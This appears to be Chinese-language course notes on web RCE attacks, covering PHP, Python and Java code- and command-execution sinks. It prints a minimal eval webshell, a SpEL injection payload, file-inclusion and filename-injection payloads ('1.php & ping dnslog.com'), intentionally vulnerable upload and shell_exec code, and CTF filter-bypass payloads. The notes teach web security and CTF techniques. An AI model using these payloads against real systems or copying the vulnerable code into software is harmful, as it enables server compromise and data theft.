RCE分类与关系
RCE代码执行:引用脚本代码解析执行
与当前语言环境相关
功能点举例:在线编程

RCE命令执行:脚本调用操作系统命令
与当前操作系统有关
功能点举例:系统面板

关系
- 代码执行 -> 命令执行代码里面调用执行系统命令
- 命令执行 -> 代码执行使用命令调用环境变量执行文件中代码
漏洞函数
PHP
- PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
- PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等
Python
eval exec subprocess os.system commands等
Java
Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.
RCE-Java&PHP
java – SpEL框架
功能点举例:评论解析 – java-springframework-SPEL搭建
代码执行 – 将输入的内容当做java代码进行解析

post提交,执行“弹出计算器”命令
comment=T(java.lang.Runtime).getRuntime().exec('calc')

php – eval函数和system函数
将get获取的参数code解析为php代码执行
<?php
eval($_GET['code']);
访问/?code=phpinfo();等同于代码
<?php
eval(phpinfo());
eval作用是将后面的代码用当前的语言解析它 –> 代码执行
不可以直接使用 /?code=clac 执行系统命令调用计算器
命令执行使用system()函数
代码执行 –> 命令执行
<?php
system('calc');
访问/?code=system(‘calc’);等同于以上代码 — > 命令执行
命令执行 –> 代码执行
使用php解析执行包含执行系统命令的php文件
webshell后门工具原理
<?php
eval($_POST['code']);
把相关执行代码(文件操作等)写入到code参数发送出去,进行命令执行
eval() 执行代码 → 调用系统命令函数 → 控制服务器
其他漏洞引发链
文件包含、注入、文件上传、反序列化
文件包含触发rce
test.php — 文件包含一个可控的file值
<?php
$file=$_GET['file'];
include($file);
1.txt — 通过文件包含,传入x值执行任意代码或命令
<?php eval($_GET['x']);?>


注入触发rce
如sqlmap的 –os-shell 参数,注入后门脚本,系统命令执行
文件上传触发rce
如果文件上传后,服务器使用系统命令mv等进行了文件移动等操作,如果mv 后面的文件名可控
通过管道符等操作触发rce命令执行
如:将文件命名为 1.php & calc 这个整体后上传,重新组合mv命令
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
// 这里使用系统命令 move 来移动文件,存在安全风险
$cmd = "move " . $_FILES["fileToUpload"]["tmp_name"] . " " . $target_file;
echo $cmd;
if (exec($cmd)) {
echo "<div class='container mx-auto py-10 text-center text-green-500 font-bold animate-fade-in'>文件 ". htmlspecialchars( basename( $_FILES["fileToUpload"]["name"])). " 已成功上传。</div>";
} else {
echo "<div class='container mx-auto py-10 text-center text-red-500 font-bold animate-fade-in'>抱歉,文件上传失败。</div>";
}
}
?>
上传一个文件 1.php & ping dnslog.com

反序列化造成rce
有回显&无回显
<?php
// 漏洞示例4:完全无限制的命令执行
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['command'])) {
echo '<div class="result">';
echo '<h4>命令执行结果:</h4>';
$cmd = $_POST['command'];
$output = shell_exec($cmd);
// echo "<pre>" . $output . "</pre>";
// echo '</div>';
}
?>
注释echo输出后即无回显
无回显-直接写个文件访问查看


无回显-直接进行对外访问接受
ping dnslog地址
黑盒发现
业务功能点
在线编程、系统面板
数据包中的参数
如: command
半自动工具burp-HaE

其他漏洞引发
白盒绕过 CTF
相关功能函数
29-通配符
过滤关键字flag,使用通配符*
system('tac fla*.php');
30-取代函数&通配符&管道符
cp把文件复制出一份其他命名或
函数shell_exex效果等同于system
cp fla*.ph* 2.txt;
echo shell_exec('tac fla.ph');
31-参数逃逸
参数过滤了c,传参1,把关键代码写在1后面就行
eval($_GET[1]);&1=system('tac flag.php');
32~36-配合包含&伪协议
rce –> 文件包含 –> 伪协议
include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
37~39-包含RCE&伪协议&通配符
data://text/plain,<?php system('tac fla*');?>
php://input post:<?php system('tac flag.php');?>
案例
沙箱绕过&容器逃逸 — 云安全&免杀
绝大部分服务架设在沙箱&容器里

使用相关代码反弹shell到公网服务器上
本节知识点
WEB攻防-RCE-代码执行&命令执行
WEB攻防-RCE-黑盒功能点&数据包
WEB攻防-RCE-白盒函数方法&组件
